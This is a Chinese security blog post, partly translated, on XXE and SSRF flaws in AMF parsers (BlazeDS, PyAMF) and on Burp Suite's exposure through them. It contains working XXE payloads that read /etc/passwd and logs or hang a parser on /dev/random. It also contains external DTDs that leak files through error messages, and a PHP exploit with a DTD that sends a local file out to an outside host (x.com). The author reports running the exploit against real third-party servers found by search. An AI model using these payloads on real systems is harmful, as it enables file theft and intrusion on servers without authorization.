AMF解析遇上XXE,BurpSuite也躺枪

  • A+
所属分类:安全文章
摘要

此文译自http://www.agarri.fr/kom/archives/2015/12/17/amf_parsing_and_xxe/index.html、http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html,并做了适当的补充。 原作者(以下的“作者”或“原作者”均表示前一篇原始博文作者)最近在把弄两个解析AMF(Action Message Format)的第三方库:BlazeDS和PyAMF。这2个库均受到XXE与SSRF漏洞的影响。作者发现自己所编写的用于BlazeDS的利用代码同样可以用于PyAMF。

0x00 来源


此文译自http://www.agarri.fr/kom/archives/2015/12/17/amf_parsing_and_xxe/index.html、http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html,并做了适当的补充。 原作者(以下的“作者”或“原作者”均表示前一篇原始博文作者)最近在把弄两个解析AMF(Action Message Format)的第三方库:BlazeDS和PyAMF。这2个库均受到XXE与SSRF漏洞的影响。作者发现自己所编写的用于BlazeDS的利用代码同样可以用于PyAMF。

首先来看看一个时间轴:

  • 2015年3月,BlazeDS 4.7.0由Apache Software Foundation发布,在此之前的版本则是由Adobe所发布。
  • 2015年8月,BlazeDS 4.7.1 发布,包含CVE-2015-3269的补丁,该XXE漏洞由Matthias Kaiser(https://twitter.com/matthias_kaiser)所发现。
  • 2015年10月,BurpSuite 1.6.29发布,将其所使用的BlazeDS升级至4.7.1,并且默认关闭对AMF的解析。
  • 2015年11月,BlazeDS 4.7.2发布,包含CVE-2015-5255的补丁,该SSRF漏洞由James Kettle(https://twitter.com/albinowax)发现。
  • 2015年12月,BurpSuite 1.6.31发布,更新BlazeDS至4.7.2版本。
  • 2015年12月,PyAMF 0.8版本发布,包含CVE-2015-8549的补丁,该XXE/SSRF漏洞由原博文作者所发现。

0x01 CVE-2015-3269


该XXE漏洞影响了Apache Flex BlazeDS 4.7.1版本之前的所有版本,使用了这些版本的BlazeDS的软件产品同样也会受到牵连。这里对漏洞细节进行一些描述(来源http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html):

每一条AMF消息均包含一个消息头与一个消息体。BlazeDS里的AmfMessageDeserializer提供了readBody()方法来解析消息体,在这个方法中,首先通过ActionMessageInput 的readUTF()依次取出targetURI与responseURI;随后,通过ActionMessageInput 的readObject()来读取随后的实际内容。

AmfMessageDeserializer_readBody.java 部分代码

/*     */   public void readBody(MessageBody body, int index) /*     */     throws ClassNotFoundException, IOException /*     */   { /* 158 */     String targetURI = amfIn.readUTF(); /* 159 */     body.setTargetURI(targetURI); /* 160 */     String responseURI = amfIn.readUTF(); /* 161 */     body.setResponseURI(responseURI); /*     */      /* 163 */     amfIn.readInt(); /*     */      /* 165 */     amfIn.reset(); /*     */      /*     */  /* 168 */     if (isDebug) { /* 169 */       debugTrace.startMessage(targetURI, responseURI, index); /*     */     } /*     */     Object data; /*     */     try { /* 173 */       data = readObject(); /*     */     } /*     */     catch (RecoverableSerializationException ex) /*     */     { /* 177 */       ex.setCode("Client.Message.Encoding"); /* 178 */       data = ex; /*     */     } /*     */     catch (MessageException ex) /*     */     { /* 182 */       ex.setCode("Client.Message.Encoding"); /* 183 */       throw ex; /*     */     } /*     */      /* 186 */     body.setData(data); /*     */      /* 188 */     if (isDebug) { /* 189 */       debugTrace.endMessage(); /*     */     } /*     */   } /*     */    /*     */  /*     */  /*     */  /*     */   public Object readObject() /*     */     throws ClassNotFoundException, IOException /*     */   { /* 199 */     return amfIn.readObject(); /*     */   } /*     */ } 

readObject函数首先读取接下来的一个字节,这个字节代表了即将读取的数据类型,例如:15表示接下来要读取的数据是XML。如果类型XML,那么接下来readXML函数就会被调用,如下代码:

Amf0Input_readObjectValue.java

/*     */   public Object readObject() /*     */     throws ClassNotFoundException, IOException /*     */   { /*  91 */     int type = in.readByte(); /*     */      /*  93 */     Object value = readObjectValue(type); /*  94 */     return value; /*     */   } /*     */    /*     */   protected Object readObjectValue(int type) throws ClassNotFoundException, IOException /*     */   { /*  99 */     Object value = null; /* 100 */     switch (type) /*     */     { /*     */     case 0:  /* 103 */       value = Double.valueOf(readDouble()); /* 104 */       break; /*     */                  ... /*     */      /*     */     case 15:  /* 147 */       value = readXml(); /* 148 */       break; /*     */                  .... /*     */   protected Object readXml() throws IOException /*     */   { /* 511 */     String xml = readLongUTF(); /*     */      /* 513 */     if (isDebug) { /* 514 */       trace.write(xml); /*     */     } /* 516 */     return stringToDocument(xml); /*     */   } /*     */    

可以看到如上代码最后的readXML实现,xml被传入至stringToDocument方法中,该方法属于XMLUtil类。

XMLUtil_stringToDocument.java

/*     */  /*     */   public static Document stringToDocument(String xml, boolean nameSpaceAware) /*     */   { /* 116 */     ClassUtil.validateCreation(Document.class); /*     */      /* 118 */     Document document = null; /*     */     try /*     */     { /* 121 */       if (xml != null) /*     */       { /* 123 */         StringReader reader = new StringReader(xml); /* 124 */         InputSource input = new InputSource(reader); /* 125 */         DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); /* 126 */         factory.setNamespaceAware(nameSpaceAware); /* 127 */         factory.setValidating(false); /* 128 */         DocumentBuilder builder = factory.newDocumentBuilder(); /*     */          /* 130 */         document = builder.parse(input); /*     */       } /*     */     } /*     */     catch (Exception ex) /*     */     { /* 135 */       throw new MessageException("Error deserializing XML type " + ex.getMessage()); /*     */     } /*     */      /* 138 */     return document; /*     */   } /*     */ } 

当DocumentBuilder由DocumentBuilderFactory所创建时,外部实体的解析默认情况下是被允许的,开发者需要自己去配置解析器以避免XXE漏洞:(factory.setExpandEntityReferences(false);)。由于上面的代码并没有禁止外部实体的解析,因而产生了XXE。相关可参考:http://security.tencent.com/index.php/blog/msg/69

0x02 漏洞利用之一(PyAMF)


以下的python脚本(http://www.agarri.fr/docs/amf_srv.py)将会运行一个在线解析AMF的服务,当然你需要安装PyAMF模块,你可以使用pip install pyamf来安装,或者是从github获取一份代码(https://github.com/hydralabs/pyamf)后使用python setup.py install来安装;Ubuntu下也可以用apt-get install python-pyamf。这里,所运行的PyAMF注册了2个服务,其中一个是echo。首先用原作者所编写好的amf_xxe.py来对所架设的PyAMF服务进行测试。

$ ./amf_xxe.py http://192.168.22.201:8081/ echo internal [+] Target URL: 'http://192.168.22.201:8081/' [+] Target service: 'echo' [+] Payload 'internal': '<!DOCTYPE x [ <!ENTITY foo "Some text"> ]><x>Internal entity: &foo;</x>' [+] Sending the request... [+] Response code: 200 [+] Body: ........foobar/onResult..null......C<x>Internal entity: Some text</x> [+] Done 

可以看到,常规的实体可以被成功解析,再进一步试试外部实体。

$ ./amf_xxe.py http://192.168.22.201:8081/ echo ext_group [+] Target URL: 'http://192.168.22.201:8081/' [+] Target service: 'echo' [+] Payload 'ext_group': '<!DOCTYPE x [ <!ENTITY foo SYSTEM "file:///etc/group"> ]><x>External entity 1: &foo;</x>' [+] Sending the request... [+] Response code: 200 [+] Body: ........foobar/onResult..null.......i<x>External entity 1: root:x:0: daemon:x:1: bin:x:2: [...] xbot:x:1000: </x> [+] Done 

这说明PyAMF确实存在XXE漏洞,然而实际的生产环境中,我们却很难找到一个接口,会将解析后的XML数据呈现在返回数据中。当然,我们也知道存在不需要回显的XXE利用办法,但是经过作者的测试发现:(1)远程的URL被禁止使用;(2)没有其它一些好用的URL协议;(3)使用了通用的报错信息,使得我们并不能从报错信息里获得有用的信息。即便如此,用这个漏洞来进行拒绝服务还是可行的,例如通过访问/dev/random

$ ./amf_xxe.py http://192.168.22.201:8081/ wtf ext_rand [+] Target URL: 'http://192.168.22.201:8081/' [+] Target service: 'wtf' [+] Payload 'ext_rand': '<!DOCTYPE x [ <!ENTITY foo SYSTEM "file:///dev/random"> ]><x>External entity 2: &foo;</x>' [+] Sending the request... [!] Connection OK, but a timeout was reached... [+] Done 

0x03 漏洞利用之二 (跑在Java web服务上的BlazeDS)


lazeDS 在利用上比PyAMF要相对容易得多,这是因为:(1)我们可以使用一些java所支持的URL协议(比如http、ftp、jar)来对内部网络进行刺探;同时在利用上,我们也可以调用外部的DTD文件;(2)错误信息详细,会泄漏出相关的敏感信息;(3)java上的XXE允许通过file协议来进行列目录,这样十分有利于我们查找我们所感兴趣的文件。与PyAMF一样,我们利用的时候,并不需要知道这个AMF服务器到底注册了哪些可用的服务。

为了方便测试,我们可以在本地搭建测试环境,首先从http://sourceforge.net/adobe/blazeds/wiki/download%20blazeds%204/这里去下载2011年版本的BlazeDS,原作者下载的是turnkey格式,下载完成解压后,将解压文件放入Tomcat的bin目录中,然后执行startup.sh,然后你就可以通过http://127.0.0.1:8400/samples/messagebroker/amf来对BlazeDS进行访问了。我自己所下载的是binary的格式,解压后就是一个war包,自己部署一下,就可以访问了。

部署完成后,就是通过利用脚本amf_xxe.py对服务进行测试,效果如下:

$ ./amf_xxe.py http://127.0.0.1:8400/samples/messagebroker/amf  foo prm_url [+] Target URL: 'http://127.0.0.1:8400/samples/messagebroker/amf' [+] Target service: 'foo' [+] Payload 'prm_url': '<!DOCTYPE x [ <!ENTITY % foo SYSTEM "http://somewhere/blazeds.dtd"> %foo; ]><x>Parameter entity 3</x>' [+] Sending the request... [+] Response code: 200 [+] Body: ........foobar/onStatus....... .Siflex.messaging.messages.ErrorMessage.headers.rootCause body.correlationId.faultDetail.faultString.clientId.timeToLive.destination.timestamp.extendedData.faultCode.messageId ........[Error deserializing XML type no protocol: _://root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [...] jetty:x:131:143::/usr/share/jetty:/bin/false ............Bu......../Client.Message.Encoding.I707E4DB6-DB0B-6FED-EC4C-01259078D48B [+] Done 

可以看到/etc/passwd文件内容被通过报错信息爆出,作者所使用的利用代码中调用了一个外部的DTD文件:http://somewhere/blazeds.dtd,其内容如下:

<!ENTITY % yolo SYSTEM 'file:///etc/passwd'> <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM '_://%yolo;'>"> %c; %rrr; 

外部DTD中,首先定义了一个参数实体%yolo;然后在参数实体中%c中对其进行了引用;在调用%rrr;时,由于rrr所调用的协议“_”并不被java所支持,导致报错,整个URL全部出现在报错信息中,/etc/passwd的内容就藏在其中。同样,还可以用来读取tomcat的日志:

<!ENTITY % yolo SYSTEM 'file:///proc/self/cwd/../logs/catalina.YYYY-MM-DD.log'> <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM '_://%yolo;'>"> %c; %rrr; 

0x04 漏洞利用之三 (使用了BlazeDS的软件产品)


原作者在文中提到了,一些软件产品中也使用了BlazeDS,这些产品如果没有升级打补丁,同样也会受到影响。这些软件包括来自Adobe的ColdFusion 和 LiveCycle Data Services,Vmware的vCenter Server, vCloud Director 和Horizon View。为了对这一说法进行验证,我搜索了一台LiveCycle Data Services的服务器,如下图:

AMF解析遇上XXE,BurpSuite也躺枪

抓包得到amf的接口地址,使用利用脚本对该接口进行测试,结果如下图所示:

AMF解析遇上XXE,BurpSuite也躺枪

同样,我又找到一台Vmware的vCloud Director,同样发现存在问题:

AMF解析遇上XXE,BurpSuite也躺枪

0x05 漏洞利用之四(使用了BlazeDS的客户端软件)


大家常用的BurpSuite就是其中之一,躺枪!虽然最新版本的BurpSuite已经修复了此问题,但是大多数同学手中的版本可能并不是最新版本。根据原作者的说明,一起来看看这个漏洞的效果,由于我本机是windows,所以利用代码是windows的。 首先,创建一个html文件.

<html><body> Burp Suite + BlazeDS <img src="http://x.com/test/amf_win.php" style="display:none"/> </body></html> 

其中调用的amf_win.php内容如下,该代码的作用就是输出一个恶意构造的含有XML的AMF数据:

<?php  function amf_exploit() {     $header = pack('H*','00030000000100036162630003646566000000ff0a000000010f');     $xml = '<!DOCTYPE x [ <!ENTITY % dtd SYSTEM "http://x.com/test/dyndtd_win.xml"> %dtd; ]><x/>';     $xml_sz = pack('N', strlen($xml));     return ($header . $xml_sz . $xml);   }  header('Content-Type: application/x-amf'); print(amf_exploit());  ?> 

其中,调用的dyndtd_win.xml内容如下,目的就是读取C盘下的testfile.txt,然后发送至我们的服务器x.com上:

<!ENTITY % yolo SYSTEM 'file:///C:/testfile.txt'> <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'http://x.com/?%yolo;'>"> %c; %rrr; 

接着,我们打开BurpSuite,访问我们精心构造的页面进行抓包。

AMF解析遇上XXE,BurpSuite也躺枪

可以看到,我们打开fortest.html后,burp会访问amf_win.php,在Wireshark中,我们可以看到我本机的C:/testfile.txt的内容this is a secret!被发送至服务器端。

0x06 额外


  1. 对于BlazeDS,你可以通过 %foo; ]>Parameter entity 3的方法来快速暴露出其所在的程序路径,接着就可以继续通过前面所述的方法来进行目录文件列举,寻找我们感兴趣的文件。如下图所示:

    AMF解析遇上XXE,BurpSuite也躺枪

  2. XXE读取文件内容上的限制使得我们能读取的敏感内容受到限制,具体如何利用该漏洞进行下一步,就看各自的发挥了。

  3. 在一些对实际案例的测试(包括腾讯某服务器或是一些vCloud Director服务器)中发现,如果使用外部的DTD,一些服务器返回的错误信息是如下的样子:

    ```
    [!] Connection OK, but a timeout was reached...

    ```

    造成这个错误信息的原因猜测可能是服务器禁止了外部资源的访问。对于这些服务器,无法使用外部DTD,参数实体又只能在外部DTD中被引用,使得上述的报错读取文件的方法变得不可行。不过,通过XXE来进行拒绝服务可能是可行的,由于担心对目标服务器造成不良影响,并未进行进一步的测试。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: